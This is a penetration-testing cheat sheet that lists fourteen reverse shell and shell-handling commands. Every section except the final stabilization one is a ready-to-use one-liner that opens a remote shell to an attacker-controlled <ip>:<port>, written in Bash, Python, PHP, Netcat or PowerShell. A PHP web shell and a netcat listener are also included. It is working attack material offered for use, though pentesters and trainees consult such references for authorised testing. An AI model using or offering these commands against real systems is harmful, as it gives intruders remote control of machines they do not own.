Penetration Testing

Reverse Shell Commands

6 sections14 commands

Bash

2 entries
  • bash -i >& /dev/tcp/<ip>/<port> 0>&1Bash TCP reverse shell
  • bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'Bash -c variant

Python

2 entries
  • python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<ip>",<port>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'Python reverse shell
  • python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("<ip>",<port>));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'Python3 PTY shell

PHP

2 entries
  • php -r '$sock=fsockopen("<ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'PHP reverse shell
  • <?php system($_GET['cmd']); ?>PHP web shell (one-liner)

Netcat

3 entries
  • nc -e /bin/sh <ip> <port>Netcat reverse shell
  • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/fNetcat without -e
  • nc -lvnp <port>Netcat listener

PowerShell

1 entries
  • powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"PowerShell reverse shell

Shell Stabilization

4 entries
  • python3 -c 'import pty;pty.spawn("/bin/bash")'Spawn TTY with Python
  • export TERM=xtermSet terminal type
  • Ctrl+Z then: stty raw -echo; fgFull interactive shell
  • stty rows <num> columns <num>Fix terminal size